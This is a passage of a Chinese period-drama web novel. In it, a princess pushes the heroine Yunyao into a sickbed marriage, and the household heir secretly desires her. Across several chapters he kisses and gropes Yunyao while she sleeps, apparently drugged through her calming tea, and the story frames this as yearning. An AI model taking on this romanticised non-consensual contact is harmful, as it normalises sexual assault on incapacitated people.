他往前走了五、六十步,绕过假山,见一群护院围困住齐姝妍,堵她去路。 齐姝妍手持双股峨眉刺,与之对峙,见着齐拂己如见救星:“大哥哥!”她急囔道,“我要去找小太尉!” 如若不找,从此和步仙镝天各一方。 齐拂己朝齐姝妍走近。 齐姝妍眼眶一热,却听齐拂己沉声:“拿下!” 之前怕伤齐姝妍的护院们这才敢动手:“二小姐,得罪了!” 齐拂己冷静杵着,须臾,眨了眨眼,转身走向假山,低道:“可以出来。” 速喜方才现身。 齐拂己未瞥速喜,只张合唇:“有事?” 速喜附耳几句,齐拂己脸色即刻阴沉,此时有一齐拂意院中小厮慌慌张张奔来,因为一心赶去上房,没张望左右,和齐拂己擦身而过才反应过来,退回来泣道:“世子,我们公子又犯病了,这回格外严重,奴正要去知会殿下!” 那厢护院们已经拿下齐姝妍,准备押回绣楼,齐姝妍乱踢乱骂,这边小厮亦哭出声,齐拂己只觉乱糟糟,闹哄哄,你方唱罢我登场。 他闭起眼深吸口气,转身疾走,不想理会这些家中事务,只想着云窈竟然背叛自己,送张宗云的长随投靠步仙镝,此刻人已离城。 回到世子院,私下无人,速喜询问:“世子,要不要属下斩草除根?” 齐拂己身不动,只头摇,不必,这是云窈的错,他要惩罚她。 是夜,齐拂己再入香闺,云窈依旧睡得深沉,齐拂己静静盯她须臾,毫不犹豫倾身,唇牢牢贴上云窈的唇。 他的胸脯很快开始起伏,和自己预想的一样,又比预想更美味,柔软赛过白云,香甜远胜蜜糖,比手绢、脚踝,比指腹拭唇的触感都好,齐拂己情不自禁用力碾了下,再碾。人总是越来越贪心,唇粘着唇不够,他闭起眼,小心翼翼伸一点舌尖在云窈唇上舔舐。 齐拂己从未向任何人,父母亲朋诉过一次苦,却情不自禁拉起云窈的手,放到自己胸口鞭伤上,颤道:“窈娘,我疼……” 一边吻着,一边抓着云窈的手一顺抚过身上伤痕,觉痛减轻却又无比酸涩。 昏睡的云窈,今晚做了一个噩梦,梦中有一条蛇慢慢缠绕住自己,最后变成无数条蛇,将她吞没。 她吓得坐起,大叫一声。 落玉已经醒来,正烧水,吓得后退半步,再上前:“小姐,你怎么了?” 云窈重重吐纳,发现自己一身冷汗。 鬼使神差,她脑中忽然回响齐拂己声音,是他从前说过的话,“里面除了酸枣仁没有别的”。 第32章 第三十二章 贵妾 “我做了场噩梦。”她和落玉说。 落玉即刻在床边蹲下,握着云窈的手:“没事没事,醒了就好了。”又补充,“梦都是反的。” 云窈看着落玉的眼睛,含笑点头。 看起来没事了,但其实一早上她都头疼,不算困,却不由自主张嘴打了个哈欠。 自觉失礼,连忙捂嘴。 落玉瞧见,笑道:“小姐,你待会用完午膳,午睡会吧。” 云窈嗯了一声。 此时此刻,齐拂意院中,亦有婢女仆妇齐齐劝汉阳公主:“殿下,您去睡会吧!” “是呀,不管怎样也眯会。” 昨日齐拂意病情骤然加重,好一点的御医全从宫里招来,上了血针才稍稍救回。汉阳公主在二公子院守了一晚,不曾阖眼。 这会齐拂意已从晕厥中转醒,众人便劝汉阳公主去歇息,公主看似应承,实则到了前厅,刚坐下就传御医——昨夜御医说齐拂意沉疴宿疾,只能全力给他续着吊着,已难回天。公主一直揪心这事,眼下避开齐拂意,再问一遍。 一样回答,御医们匍匐跪地谢罪。 公主将近六个时辰没吃没喝,口中极干渴,却无心饮一口水。她没有像往常那样斥两句,良久,柔声道:“辛苦诸位大人了,劳烦再去看看我儿。” 御医们俱惊讶,继而不约而同掩下悲戚:“殿下放心,吾等定当竭尽全力。” 公主原先背已佝偻,这会重新挺直,与众御医见礼。待御医们回齐拂意房中,公主吩咐贴身女婢:“去请秦天师来。” 医不好,那便问卜,求助鬼神。 摇卦解卦,公主一直跪在地上。秦天师沉吟不语,公主紧张:“如何?” “辰月申日,子孙卯木伏神……”秦天师启唇,逐一分析,“看起来要冲开了才能彻底好转。” 公主紧张得不能呼吸,却又燃起希望:她儿尚有痊愈机会? “能救二公子的是女子,在正东方。” 东方?女子? 公主倾身:“天师,我们是不是要往东寻女医?” 公主正要吩咐下人去打听正东方向有哪些有名望的女大夫,秦天师却道:“殿下先别急,暂时还不知是不是大夫,容贫道再用梅花一占。” 爻出一卦天风姤。 “殿下,贫道还想唐突一句,二公子……可有心仪的女子?” 公主想到云窈,当即沉下脸,虽然心中不快,但还是将齐拂意心仪云窈之事如实告知。说着说着,她突然挑眉:“对了,她打杭州来的,正好是东边!” “那十有八九就是这位姑娘了。”天师捋须,“可以让她给二公子冲喜试试。” “冲喜?”公主声尖。她马上告诉天师云窈接连克死两个未婚夫,“意儿要和她在一起,岂不是……” 公主止声,说不出诅咒自己儿子的话。 “合怕冲,冲却能开库,有的人克,有的人旺,二公子和这位姑娘在一起,未必会变差,反有奇效。”天师捋了两下长髯,“殿下要是信不过,可先提议冲喜,说出这件事,看二公子有没有好转……” “二公子,二公子又晕过去了!”婢女闯进来报。 公主眼前发黑,唯有秦天师还算沉稳,接着讲没说完的提议:“若见好转,再正式成亲。” 公主将天师的建议听进心里,但也没心思多讲,匆匆辞别赶回去看齐拂意。 这回干脆请来所有御医,将齐拂意的厢房围得水泄不通。灯火通明,从晌午忙到三更,却连血针也失效了,齐拂意始终昏迷——但探鼻息是有的 ,虽然微弱,但他还活着。 公主先伸二指到齐拂意鼻下,而后来回踱步,扭头问:“国公呢?还没回来吗?” 语气抑不住焦躁,整个太医院都搬来了,这么大动静,魏国公在宫里能不知晓? 知道了为什么不回来? 他不着急吗? “回殿下,国公爷好像刚刚回来。” 公主调头就往上房疾走,她恨自家夫君是个木鱼脑袋。待见国公,劈头盖脸:“你儿子快没命了,你都不瞧一眼?” 魏国公其实在宫中听闻齐拂意病危,有一霎恍神难过,但很快就放弃——本来从小到大,就不曾将希望寄托在这个儿子心上。 但家还是要回的,圣人龙驭宾天前,一切都要维持平和、寻常。国公同公主赔礼:“好、好,你消消气,我这就去瞧。” * 云窈从午时开始,整整睡了一个时辰,一起床落玉就关切:“小姐,好些了吗?” 头疼没有任何缓解,但云窈不想让落玉担心,点头:“好多了。” 落玉大喜,晚上又给云窈烧了桶水泡脚,边试水温边振振有词:“都说庸医头痛医头,脚痛医脚,神医都是头疼医脚,那肯定泡脚也行。” 云窈哽咽了下,心里暖暖的。她见落玉往里头洒花瓣,不由笑问:“你哪来的花?” 这个季节京城几百花凋零。 “这府里都是这样泡的。”落玉告诉云窈,国公府连下人泡脚都洒花瓣,她找相熟的婢女讨了些。 云窈一笑,她家里有时会在浴桶里放药包,但花瓣这类,仅仅是赏心悦目,没有实效,所以没用过。 “你试试嘛!”落玉央道。云窈遂褪鞋袜,两脚放入。 “烫不烫?” 其实有几分偏烫,但云窈忍下:“刚刚好。” 泡了一会,落玉伸着脖子问:“舒服吗?什么感觉?” 云窈看穿她的心思:“待会你也试一桶。” 落玉连连摆手,云窈却自行擦干双足,给落玉也配了桶水,还硬拉她坐自己床上泡,最后二女嬉笑打闹成一团。 许是暖意驱散了痛苦,云窈的脑袋竟真不疼了,是夜,香甜入睡。 但到了子丑之间,又做梦了。 那条冰凉的蛇如期而至。 齐拂己的舌在云窈唇上舔舐,双唇吸吮她的双唇——天知道白日里他怎么熬的,想了一整天,闭起眼就能忆起每一个细节。原来这就是亲吻,尝过了就戒不掉。 昨夜亲了良久,今夜再吻,依旧战栗不已。 他比昨夜更贪些,想分开她的唇,将舌探进去,占有她的齿腔。 可惜云窈睡着,不配合,试了几次怕伤着她,失败告终。 齐拂己便只在唇上碾磨,流转,从云窈的左唇角一瞬吻到右侧,再转回来,不急的,不急,他闭着眼想,探舌就留到他和云窈成夫妻之实那一日吧——那种事第一回,他一定要她醒着,要她睁大两眼,清楚地看着他是怎样一寸寸侵入,让她成为他的女人。 那一刻,他必须要看见她的眸子里有且只有他。 他不会在云窈沉睡时行最后一步。 想到这齐拂己停下来,凝视了云窈一会,恨她迟钝,竟半点没察觉他对她的偏爱。 齐拂己深吸口气,在她唇上啄了一口,而后离去。 他要回世子院发泄。 夜深人静,依旧只有她的手绢,有时连手绢都不用,只要想着她,就能得到欢愉。但当一切归于沉寂,他回回都陷入更大的空虚,类无底深渊,能吞噬一切,却唯独吞噬不掉他对她的渴求和嗔痴。 …… 翌日,云窈早晨醒来,还未坐起脑袋就胀得厉害,人说醒来就不记得做过的梦,她却清晰记得蛇缠了自己一宿,精疲力尽。 云窈不受控打了个哈欠。 “小姐,你怎么还没起床就困了?”落玉晚烧水早也烧水,边扇炉风边问,“要再睡会吗?” “不睡了。”云窈挣扎坐起,疼得睡不着,且重新住回国公府两日了,得去给公主请安。 云窈照常梳洗,落玉骨梳滑过云窈青丝,柔顺如瀑,云窈却“嘶”了一声。 “怎么了?”落玉紧张,“是不是我逮着你头发了?” “没有。”云窈抬手指后脑勺左侧偏下处,“你多梳梳这,看疏通了,血流通畅,会不会头疼好些?” 落玉赶紧梳了二、三十下,才询问:“好些了吗?” 没有好转,云窈放弃:“好点了。” 落玉总能看穿一回,晓得没好,道:“那晚上除了泡脚,我再给你沏壶安神茶。” 云窈听见“安神茶”,倏动心念,好似踏空般慌了下,肩膀不自觉一颤。 “怎么了?” 云窈怔了会,方回:“没什么。” 她梳洗完毕,就往上房去,途经齐姝妍的绣楼,顿足——整座楼的窗户都被从外反钉死,门也反锁着,门口坐着四名仆妇。 有仆妇扫云窈一眼,眸子里满是警觉,云窈赶紧埋首,快步远离。 因为一直盯着地上在走,云窈撞上来人的左臂,那人侧身,呲了一声,云窈则差点跌到。 “对不起对不起!”云窈弯腰赔礼,待直起身发现是齐姝静,脱口而出:“大小姐?” 云窈急忙打量齐姝静胳膊,欲察看伤情:“有伤着吗?”又再道一回歉,“我刚才没看路,对不起。” 齐姝静微笑:“没事。” 云窈望了眼齐姝静身后绣楼,齐姝静像是刚从闺房中出来,然后去的方向……一非上房,二也不是冯氏居所。 云窈只是心里思忖,并不打算打探齐姝静动向,齐姝静却紧着嗓子主动告知:“我打算去书肆挑些新的话本子,你要吗?到时候给你带本回来。” “不用不用,谢谢大小姐。”云窈不想麻烦别人,但却禁不住忆起上回众人一道逛书肆的事——看来齐姝静是真嗜书。她又想到上回同行的还有张宗云,那般鲜活,半年不到,天翻地覆。 云窈同齐姝静分别,到了上房,才知自己扑空——齐拂意病重,汉阳公主一直守在二公子院。 她赶紧默默退下,不敢招惹,却有仆妇追出来:“唉,云姑娘,等等,殿下正要找你去二公子那呢。” 云窈整个人一愣,回身小声:“我?” 仆妇点头,说亲自领去。云窈跟着走了三、四十步,才鼓起勇气询问殿下为什么找她? 仆妇只道殿下有事相商。 云窈咬唇,远远见岔路上行来齐拂己,他今日着一身鸦青色,若松柏移动。 两拨人在道路交汇处相逢,云窈行礼:“大公子。” 齐拂己回了礼,眼下自己要去探病,不能与她交谈同行,遂投去目送目光,却发现云窈没回木樨小筑,走的也是去齐拂意院中那条道。 齐拂己脸一沉,如要吃人,但转瞬就恢复温润,顺路徐行,温言细语:“云姑娘,你也是去看二弟的?” 云窈低头:“殿下传召我。” 齐拂己勾了下唇角,原来找她的不是二弟,更不是她主动关心二弟,而是母亲。 他瞥向云窈身边仆妇,的确是母亲的人,心情不由得愈发舒畅。 云窈侧首,瞟齐拂己一眼,他即刻愁眉不展:“二弟的身子难免令人忧心。” “大公子善者百忧。”云窈娓娓回。 二人一起到了二公子院,前后脚进门。云窈愣了下,院中怎这多人? 早有人通传公主,不一会云窈和齐拂己皆被引入正厅。 齐拂己眉头蹙了下。 公主姗姗来迟,竟未向平常那样关心齐拂己,反而第一眼看向云窈,将她上下打量。 云窈顿生局促,但仍不忘行礼。 公主上首坐定,齐拂己照例挨着娘亲,坐在上坐第二张交椅。 公主道:“平身,窈娘,你也坐吧。” “谢殿下。” 云窈挑了下首的扶手椅,将一沾座,公主就迫不及待道:“窈娘,意儿一直很喜欢你,待你也没话说,吾将做主,将你许配意儿。” 云窈如遭雷击,人骤定住。 公主续道:“自然不会薄待,你且放心,一进门便是贵妾。” 汉阳公主微扬下巴,贵妾是上族谱的,那将是云窈祖祖辈辈最荣耀的时刻,但妾到底是妾,倘若冲喜不成,她会让云窈殉葬,这样意儿在地下也不会寂寞。 第33章 第三十三章 冲喜 方才进门,公主唤二人一起进厅时,齐拂己就已觉出不对劲。待公主现身,样样反常,他心越来越紧,愈来愈沉。 齐拂己寻常少饮,眼下却必须端起茶盏,掩饰脸上的僵硬和阴鸷,待听到母亲要将云窈许配给齐拂意,齐拂己不可控地震惊、愤怒、妒恨,为什么走了一个又来一个?为什么源源不断,每个男人都对她虎视眈眈?! 他们难道不知道,她是他的,他一个人的。 接下来,公主的每一个字都在刺激他,齐拂己几要把茶盏捏碎。 却还是只能端着,借小臂和茶盏遮掩半张脸,紧咬下颌,锐利窥视云窈的反应。 片刻,云窈离座下跪,磕头道:“承蒙殿下抬爱,民女不能嫁给二公子!” 齐拂己暗暗长吁口气,提起高悬的心亦随此回落。 额上鼓起的青筋逐渐平复。 公主却在上首愤然攥紧扶手:“难道我儿还配不上你?” “绝无此意,殿下息怒。”云窈始终匍匐,齐拂己只能看见她黑鸦鸦的发髻,“是民女配不上二公子,民女自知云泥有别,从未肖想、喜欢过二公子。” “多少男女单凭媒妁之言成亲,洞房花烛前都未曾谋面,到后来还是不是日久生情,伉俪一世?”公主面现愠色。 云窈额头贴地不敢挪高,这样可以掩藏自己的紧张、恐惧等诸多神色,免得节外生枝,罪加一等。 她听公主言语,似要强摁着脑袋配人,除非、除非……云窈撒谎:“殿下所言非虚,但殿下恕罪,民女心里已经有人了,好似一间屋子,再住不进去第二位男子,也无法再对第二位男子日久生情!” 云窈提高嗓门:“世间女子讲究从一而终,还望殿下成全!” 云窈并没有思慕任何男子,这是她情急之下编造的谎言,公主却以为云窈还念着张宗云,一时沉默。 齐拂己虽与母亲猜测不同,但也想岔,且他心绪也已逐渐平复,原谅云窈,遂启唇道:“母亲,既然云姑娘另有所爱,何必强人——” “殿下、殿下,二公子醒了!”齐拂己的话被闯入报信的丫鬟打断。丫鬟手撑膝盖,边喘气边道:“二公子……不仅醒了,这会还能坐起说两句话,稍进流食。” 公主闻言完全被喜悦笼罩,天师诚不欺她! 她隔空虚推了下齐拂己手,不必劝了,一定要让云窈冲喜! “吾知道你心里还有张宗云,但总要往前看,人走水流,你日后会把意儿放心上的。”公主 毅然决然,“吾会尽早安排你和意儿成亲!” “殿下——”云窈颤声,溢泪。 公主却视若无睹,起身再次看向云窈:“你跟我一起去看意儿。” 她的语气并非商议,而是命令,云窈和公主视线对上,隔着一层泪,依然能强烈感受到公主眼神的冷淡和不容置喙,天家威仪是高悬在平民百姓头顶的剑,是皇恩浩荡。 云窈低头,默默跟在汉阳公主后边,绕去里间,她已经吸了鼻子,可泪还是止不住往下掉,清晰瞧见地上多一个湿点,再多一个。 “把你的泪收一收。”公主不悦,“意儿还病着,不该见到这些晦气玩意。” 云窈想说自己也是晦气玩意,求求公主放她走吧。 云窈格外后悔回到魏国公府。 进到厢房,云窈站在门口就不敢再往前了,低着脑袋偷眺一眼,前头全围的御医,一排背影完全挡住视线——也好,这样齐拂意也瞧不见她。 汉阳公主却是径直往床边走,御医们自觉左右散开,仿佛分拨池水,而公主则似舰挺进,到床边仔细观察齐拂意,终吁口气,含笑道:“瞧你气色好不少,再养几天,就能全好了。” 她在床沿上坐下,轻扶齐拂意手背:“我还给你带了个好消息。”慈眉善目,卖个关子,“云窈啊,她要嫁给你了!” 齐拂意将一醒来,公主还未至时就已经听闻,他有自己的想法:“母亲,云妹妹孝期未满,不宜成婚。” 公主挑眉,云窈原先也在孝期,还不是能和张宗云订亲? 这不是事。 她斩钉截铁:“可以先订亲。” “云妹妹先前订过一桩婚事,要先在衙门销牒。”齐拂意又有新的拒绝理由,“此时还应从长计议。” 公主拧眉,满腹不解,之前为着云窈,齐拂意多次忤逆,甚至还相思成疾,怎么真允了他和云窈,却不是欢天喜地,反而推三阻四,不愿意和她在一起呢? 且只是纳一个妾,和买卖丫鬟无甚区别,并无关牒:“只是纳——” “母亲,”齐拂意打断汉阳公主的话,“我的婚事,让我自己做主吧。” 他无甚力气,却还是反手用力握紧汉阳公主:“求求母亲。” 他的声音充满期盼,又如游丝格外忧伤哀怨。 汉阳公主定住,因这一幕大恸,恨不得万事万物皆依儿子心意。 “我答应你。”公主轻道。 齐拂意挤出一笑:“母亲可否允我和云妹妹单独讲两句话?” 汉阳公主犹豫,考虑到还有众多御医在场,最终应允。众人陆续退下,汉阳公主盯云窈一眼,云窈只好硬着头皮,逆人流往前。待众人退下,捎带上门,她站在距离齐拂意三步远处,齐拂意瞧着,一不恼二没要她近前,反而赔罪:“我提及先前那门亲不是嫌弃妹妹,妹妹莫要见怪。” 云窈猜不准齐拂意心思,干脆不吭声,不表态,免得因言获罪。 齐拂意以为自己声弱,云窈听不清,重复一遍。 说完,云窈往前凑近一步,但还是没讲话。 齐拂意明白了,依然没怪云窈,续道:“娘亲和你进来前,我就已经听说了娘亲让你给我冲喜的事。” 冲喜? 云窈猛抬头,原来汉阳公主是让她冲喜? 齐拂意也是一愣,他还以为云窈猜到公主的性子,害怕陪葬,才死活不肯。 不然她没理由拒绝,毕竟她曾那么快就接受张宗云。 “我娘宫中长大,众星捧月。”齐拂意气力不足,讲一句,歇半晌,云窈就静静倾听,等他说完。 “她不喜欢别人硬碰硬,更不喜被人一口回绝。”齐拂意的笑有些苦,云窈当众拂了娘亲面子,娘亲会变得更加强硬,“对我娘,只能日久怀柔。” 说完,他又怕云窈听了这话真跟公主斗,忙道:“你不要操心,我会与她周旋!咳咳——” 说急了,立马上气不接下气。 云窈想扶又不敢扶,咬唇:“二公子,你别急,顺顺气。” 齐拂意靠床头歇了会,坚持把话说完:“我不会和你结亲。” 不管是妻是妾,都不会结。 若早几个月还有想法,眼下他了解自己的身子,要成亲,就是害人。 云窈是他尊重爱惜的姑娘,愈发不能。 齐拂意对生死还算豁达,已经想好为云窈做的准备,待他去后,能保她平平安安回到杭州,不会再被公主打搅、干涉。 “好了,你早点回去歇息吧。”齐拂意轻声。 “二公子你也一样。”云窈施礼告退,纠结少顷,多说一句,“病中少忧思。” 齐拂意望向云窈,眸子里生出一点光亮:“好,我一定谨记。” 云窈遂离开二公子院。她前脚刚走,公主安排偷听的小厮就将二人对话一字不漏传回公主耳中。 汉阳公主无奈儿子卖娘,对云窈则难免腹诽。 云窈回木樨小筑行得极慢,她心里很乱,又很沉重,没有完全相信齐拂意的话——万一汉阳公主非要逼她成亲,甚至用圣令来压她,怎么办? 已至琴堤,她缓缓抬脚踏上,走了一步就停来下,望着水面出神。 不知过了多久,云窈才发现水里除了自己,还多出一个倒影,天色阴沉,那倒影暗淡立在身后,幽幽盯她。 云窈倒吸一口凉气,汗毛俱竖,再回神认出倒影是齐拂己,转身吐气:“大公子。” 她惊魂未定地抚胸,不知道大公子何时出现,又是什么时候悄无声息伫在她背后的? 她瞥向齐拂己,眉眼和湖里的倒影一样清冷疏离,兼一丝漠然。 “大公子,您什么时候来的?”云窈再唤一声,问,“是有什么事吗?” 齐拂己盯着她想,她只有影子才倚靠在他肩头。 他还在一遍又一遍回想云窈拒绝公主的话,已经斟酌了将近一个时辰,她不喜欢二弟,她说心里已经住了人。她说过喜欢她,那是不是她心里的人就是他? 她主动在众目睽睽下宣誓,要对他从一而终。 他再难忍耐,喉咙干涩着开口:“有事。” 他顿了顿:“我是特意来寻你的。” 云窈抬手,食指反指自己:“寻我?” 齐拂己不点头也不摇头,只紧紧盯着云窈,很想把她那根作乱的食指攥在手中。 对,是她。 除了她还能有谁? 他只对她有欲念,唯有想到她的时候才会心跳加快。他的情绪多数时候古井无波,却每每因她起伏波动三千丈,需要极力压制才能保持冷静。 他对她的阴暗心思已如蔓藤爬满墙,也将他牢牢困住。 齐拂己深吸口气,冲破天罗地网:“我有一个法子,可以让你免于冲喜。” “什么法子?”云窈眼眸一亮。 齐拂己噙笑:“嫁给我。” 其实杀了齐拂意也能避免冲喜,但他不愿见手足相残。 第34章 第三十四章 破绽 云窈脑子嗡嗡,转不过来。 大公子为什么突然求娶? 在她看来毫无预兆。 难不成……大公子亲眼目睹她被拉去冲喜,他是修佛的人,不能见死不救,于心不忍,围魏救赵? 云窈心里竟回响起佛说我不入地狱谁入地狱。 “万万不可!”云窈不住摆手,“万万不可!” 齐拂己见不得她手摆出幻影,刺眼心烦。 云窈还在说:“大公子万万不能这样做!” 齐拂己烦得想让她别说了,正要开口,云窈忽道:“我知道大公子一直在帮我……” 齐拂己呼吸一窒,心漏跳半拍。 她知道吗? 他的心慢慢向她靠近,边走边逼问:所以她一直知道他在对她示好? 他的心意,她是能感受到的,对吗? 说出来啊,说出来。 齐拂己屏住呼吸,牢牢盯紧云窈,恨不得眼神对她施法,让她吐露所有真言。 他不放过云窈脸上任何一丝变化,如果此刻她再像席间认爱那样,说最喜欢大公子,他想,自己一定不会像当初那样平静。 他不知道自己会做出什么样的回应,但此刻心里既疼又痒,十足十紧张。 “好几回都是大公子出手相救。”云窈低头搓手,“我知道大公子这次也想救我……可是我不能嫁给大公子!”她抬起头,倏地发觉齐拂己眼眸是从未有过的幽黑,不由愣了下,方才续道,“大公子修佛,不该为救人破戒,前功尽弃。” 云窈微微压低下巴,锁住齐拂己双目:“民女愚见,觉着大公子若真有破戒娶亲那一日,应该是遇着了极其心仪,两情相悦的女子,珍之重之,愿意为她回归红尘,而不应该为了救我,牺牲自己。” 她的眼神太坚定真诚,刺得齐拂己不仅眼痛,心也犹如刀绞:他就是遇着了爱慕的女子,就是为了她复返红尘啊! 从来没有这样喜欢过谁。 齐拂己向前一步,幽幽道:“如果我不是为了救人呢?” 说完,一颗心抑不住剧烈震颤。 云窈脑袋刹那放空,她好像没呼吸了,周围也没声,只能听见自己强有力的心跳,咚——咚——几跃出胸腔。 半晌,云窈咬唇亦咬牙,抑下那一丝难过:“民女自知云泥有别,从未肖想过大公子。” 这和拒绝公主时是一样说辞,齐拂己脸上所有表情骤然消失,下一刹转被阴鸷狠戾笼罩。 他知道不该当着云窈的面流露出现在这个样子,可已无法控制自己的情绪——从她刚才说的那番话里可以听出,她压根没有感受到他的亲近,引诱,一切都是白费功夫,也不曾有一丝一毫看到他已近乎疯狂的妒忌和独占渴望。 凭什么啊?凭什么,只有他一个人在痛苦。 显得滑稽、可笑、自作多情。 云窈从来没见过这样的齐拂己,甚至从来没见过任何一个人露出这样可怖的表情,哪怕齐宽、公主。云窈心里发毛,本能抖了下,又陷于震惊,久久不能回神。 泪无声往下掉。 她都不知道自己哭了,反是齐拂己先瞧见眼泪,一滴晶莹像一根冰刺扎进他心窝。 滴滴泪皆如此,他很快散去戾气,竟只剩下心疼。 定定站在,呼吸不畅。 云窈回过神后,泪都不敢抹,干巴巴道:“民女、民女告辞!” 调头就跑,跑下了琴堤还在哭,直到遇到汉阳公主的贴身婢女领着几个丫鬟,同她见礼:“云姑娘。” 云窈屈膝回礼。 那仆妇道:“云姑娘,怎么这会就回去了?殿下让您多陪陪二公子。” 原来公主不满,思来想去,勒令云窈照料齐拂意。 云窈只得折返回二公子院,重走琴堤,提心吊胆,好在齐拂己不见踪迹。 到了齐拂意的厢房,没想到竟指派她烧水捏肩,丫鬟做的活,云窈并不介意,她心里只想着齐拂己:自己好像从来没真正摸清过大公子的情绪,以前那些判断都是自以为是,是错了?大公子怎么会喜欢她? 齐拂意瞧出云窈的心不在焉,关切道:“怎么了?” “没事。”云窈否认。 齐拂意微笑:“可你看起来比我这个病秧子还不开心。” “你可以和我这个朋友说说,”他将二指并拢举高,“我对天发誓,不会再对第三人讲。” 云窈抬手想要摁下齐拂意手指,却又隔得极远,没有触碰。 齐拂意依云窈放下手臂,可过会又抬起:“再不说我可又要盟誓咯?” “二公子——”云窈往前倾了下身,“我……我就是、就是……想不明白有个人为什么会喜欢我?” 齐拂意一怔,是说自己吗? 他暗中观察云窈神色,显然不是。 齐拂意仅一瞬黯然就释怀:“我不知道别人是何原因,我自己……”齐拂意低头笑,耳红,“说来惭愧,我对妹妹是见色起意。” 从来没见过像云窈这样美的女子,禁不住被绝色吸引。 “再后来见得多了,说得也多,妹妹的一笑一颦总令我失神。”齐拂意眯起眼,望着她微笑,“直到妹妹为张公子奔走,我才明白了,这样的你,无人不爱。” “是谁也喜欢你?”他追问。 云窈咬唇,不松口。 他没再咄咄逼人,不稀奇,人人皆爱云窈。 半晌,齐拂意敛笑:“倘若那人品性不坏,身体康健,一生温饱,又与你聊得来,不失为良配。” 云窈不接话。 “你喜欢他吗?”齐拂意追问。 “我不会选他。”半晌,云窈回答。 “为何不选?”齐拂意笑,“说说看呢,不知道有生之年我可否有机会听到理由?” 他说有生之年,云窈一下特别难受,情不自禁告知:“因为我不做妾。” 嫁给张宗云她是主母,嫁给大公子……他是公府世子,未来世子夫人要担宗妇之责,绝对不可能是她云窈。 嫁过去,兴许比嫁给二公子地位还低点,只能做良妾。 云窈今年十七,却不能年年十七,可这世上永远有十七岁的美貌少女。大公子现在喜欢她,不一定将来还喜欢,她不要色衰爱迟,被主母发卖。 “我娘去世前千叮咛万嘱咐,嫁人要做正头娘子,千万不要高配。” 齐拂意咧开嘴笑了下,有些高兴又有几分难过,原来云窈接受张宗云却拒绝自己无关情爱,难怪她回绝公主时说云泥之别。 可她嫁他并没有高攀,他也没有低配,他跛足、眼瞎,无功名,入不了仕,倘若身子好能活个五、六十岁,正好娶平头民女做正妻。 可惜。 这一日,云窈照顾齐拂意到戌时,才回木樨小筑。 时候不早了,落玉早烧好水,催云窈洗了歇息。 “小姐累坏了吧?”落玉也听说了些,在她看来小姐就是被到二公子院做苦力。 云窈抿唇,其实齐拂意体恤,她需要做的事不多,但大公子琴堤上那番话总搅得心神不宁,身心俱疲。 云窈忽忆起到梦里的蛇。 连着两晚噩梦,今日她够心力交瘁,倘若梦再叨扰,可真吃不消。 “昨晚沏的安神茶还有吗?”云窈问。 落玉点头。 云窈道:“那再给我沏一碗。” 落玉赶紧捧出罐子:“晓得小姐睡不好,白天找府医讨了新的安神茶,这里头可不止酸枣仁,另添了紫苏叶和百合,还有疏肝理气的茉莉杭菊,府医说肝经顺了包管睡得香!” 云窈闻言笑起来,至少今夜能暂抛纷扰,睡个什么都不想的好觉了。 可那冰冷黏腻的蛇依旧不肯放过她。 齐拂己拉了张凳子坐床头,张着双目,一眨不眨紧盯云窈脸庞。 阴恻恻的鬼,夜晚是不需要睡觉的。 又因为眸子幽黑格外像具人偶,万籁俱寂中稍稍扭头,真怕他会发出咯吱、咯吱的声音。 他往常都是倾身吻上,今夜却缓缓抬手,捧起云窈的脸,指腹忍不住在她脸颊上抹了一下,又轻柔摩挲。 再往上,手仍捧着,修长的五指却去描摹她的眉眼。一弯细眉挠得齐拂己心痒痒,却禁不住来回抚弄,要将她的眉眼刻进心里。 齐拂己脸忽一沉,倾身吻上,第一口就用力吮吸云窈的唇,然后亲她的脸颊、眉毛、鼻尖,上上下下,看似乱了章法,但其实所有刚刚描绘的地方他都要吻一遍,很快就弄得云窈脸上黏糊糊。 齐拂己用脸贴云窈的脸,捧着滚了下,他颊上也全是黏液了,想到这不禁闭眼浮起浅笑。 须臾,他重又将唇粘上云窈的唇,与她的亲昵永远没有满足。 许是今日力道太大,舌竟成功顶开云窈的红唇和牙关,探进去,舌头搅动,只一下齐拂己就觉窒息,下方已坚硬如铁。 他腾出一只手,改托她后脑勺,而后用舌抵及她的四面腔壁,本能吞咽,寂静的闺房不断响起响亮水声。 许久,他分开她,喘口气,再吻上去。 如此反复。 云窈今夜的梦格外不同。 蟒蛇携劲风来,但她看不见被寒风扫落的叶子,蛇也不再是冰凉触感,盘旋到她身上时有了体温。那蛇裹着她潜入海底,又随浪起伏,云窈听见无穷无尽回响的海浪声…… 忽觉身和口中俱一松,蛇怎么突然消失了?他去哪了? 睡梦中的云窈不自觉分唇,齐拂意正吐纳调理气息,忽瞧见云窈嘴角渗着晶莹。 他呼吸一滞——那似乎不是他留下的,而是云窈自己的? 他停下一切动作,睁眼屏息,静静等待。 云窈嚅了嚅唇,但仍分着,唇角缓缓流出口水。 齐拂己脑中忽然幻想她睁眼涣散的场面,被激得两眼通红,喘了口粗气。下一刹,他不由分说抬起她下巴,自己则离开椅凳,放肆坐上床榻,再吻上去。 这一回轻车熟路闯过唇齿关,势如破竹。他突然恨恨地想,既然能张口,牙齿能撬开,那是不是她也能吐字发声,讲一讲为什么不喜欢他? 却又清楚那样云窈就醒了,醒了就连夜里的亲昵也要失去。 齐拂恨到无从发泄,重重咬了云窈一口,牙齿拉扯她的下唇。 疼—— 梦中的云窈旋即落泪。 齐拂己睹见,骤停动作。 他整个人定了会,松五指,放开云窈,缓慢起身。 黯然离去,院内挂着灯笼照亮,将他的孤影拖长。 翌日,云窈醒来,只觉比昨晚睡前还疲惫,头疼欲裂。 这是怎么回事? 她习惯性咬唇,却疼得呲了一声。 落玉听见响动,进里间瞧:“小姐,你到底做了什么样的噩梦,都怕把得唇咬破了!” 知道她家小姐爱咬唇,但这梦里也太紧张了吧。 云窈缓缓扭头看向妆镜,昏黄里能瞧见下唇红点,应该破皮了。 但是……云窈试着咬了下。 “你怎么还咬?”落玉叫道。 云窈却神色倏然凝固——位置不对,这唇……好像不是她自己咬破的。 第35章 第三十五章 半梦半醒 不会有人夜夜潜入房中吧? 那也太可怕了,云窈禁不住打个寒颤。 又觉得不可能,这可是在京城,天子脚下,还是堂堂国公府,若干护院,密不透风,采花贼就算有贼胆也没那手腕…… 等等,也有可能是府里的内贼? 云窈又一个激灵。 她突然记起来自己以前做梦,醒来都不大记得。 “落玉,”云窈轻唤,“你醒来以后还会记得自己的梦吗?” 落玉停下手中动作,想了想:“不大记得。”她摇头,“有时候一点也想不起来。” 云窈没再探讨,用过早膳就遵照公主吩咐,去往二公子齐拂意院中。 